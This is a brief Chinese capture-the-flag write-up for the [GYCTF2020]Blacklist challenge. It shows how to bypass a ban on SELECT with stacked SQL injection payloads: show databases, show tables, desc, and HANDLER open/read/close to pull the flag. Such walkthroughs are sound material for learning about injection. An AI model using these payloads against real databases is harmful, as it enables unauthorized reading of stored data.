SQL黑名单

一般来说简单的我们可以直接用bp抓一下包fuzz一下，看看哪些被ban了。

当然有一种把常规手段寄完了的，把select给ban了。

输了个select：

以  [GYCTF2020]Blacklist 为例：

首先1' order by n#查字段数吧，如果order by/Order by能用的话。

可以首先

1';show databases;

看库名：

然后用

1';show tables;

查看表名：

查看字段的手段--堆叠注入：

补充：
desc查看表结构的详细信息
desc table_name;
PS:此处desc是describe的缩写，用法: desc 表名/查询语句
desc降序排列数据
select ename,sal from emp order by sal desc;
手动指定按照薪水由大到小排序(降序关键字desc)
select ename,sal from emp order by sal asc;
手动指定按照薪水由小到大排序(升序关键字asc)
PS:此处desc是descend的缩写，用法select * from 表 order by 字段 desc

使用

1';desc FlagHere;

查看到flag列。

select被ban了，但是HANDLER可以解决这个问题。

了解HANDLER语法可以绕过select限制。

使用：

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;

获得flag。